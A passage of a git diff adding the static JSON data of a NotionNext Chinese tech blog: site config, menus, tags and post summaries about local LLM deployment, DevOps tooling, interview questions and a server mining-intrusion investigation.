-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":5,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","date":{"start_date":"2024-05-25","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240525-LM-04","tags":["面试"],"summary":"脉脉面试题","title":"万里长征-04-脉脉","status":"Published","publishDate":1716595200000,"publishDay":"2024-5-25","lastEditedDate":"2024-06-26T04:59:08.858Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240429-LM-fox","tags":["面试"],"summary":"搜狐面试题","title":"万里长征-03-搜狐","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-05-25T02:20:00.057Z","lastEditedDay":"2024-5-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","date":{"start_date":"2024-04-08","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240408-LM-02","tags":["面试","文字"],"summary":"跟谁学面试题","title":"万里长征-02-跟谁学","status":"Published","publishDate":1712534400000,"publishDay":"2024-4-8","lastEditedDate":"2024-04-08T17:08:09.011Z","lastEditedDay":"2024-4-9","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","tagItems":[{"name":"面试","color":"yellow"},{"name":"文字","color":"brown"}],"password":""},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240405-LM-01","tags":["面试"],"summary":"贝壳面试题","title":"万里长征-01-贝壳","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-08T06:03:22.365Z","lastEditedDay":"2024-4-8","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"4d955058-b605-46cf-b242-1535b732af30","date":{"start_date":"2024-04-05"},"type":"Post","category":"万里长征","slug":"article/240405-LM","tags":["面试","推荐"],"summary":"常见面试题汇总","title":"万里长征","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-07T09:23:11.250Z","lastEditedDay":"2024-4-7","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"},{"name":"推荐","color":"red"}],"password":""}],"category":"万里长征"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\345\277\203\346\203\205\351\232\217\347\254\224.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\345\277\203\346\203\205\351\232\217\347\254\224.json" new file mode 100644 index 000000000..3ee5ab721 --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/category/\345\277\203\346\203\205\351\232\217\347\254\224.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab 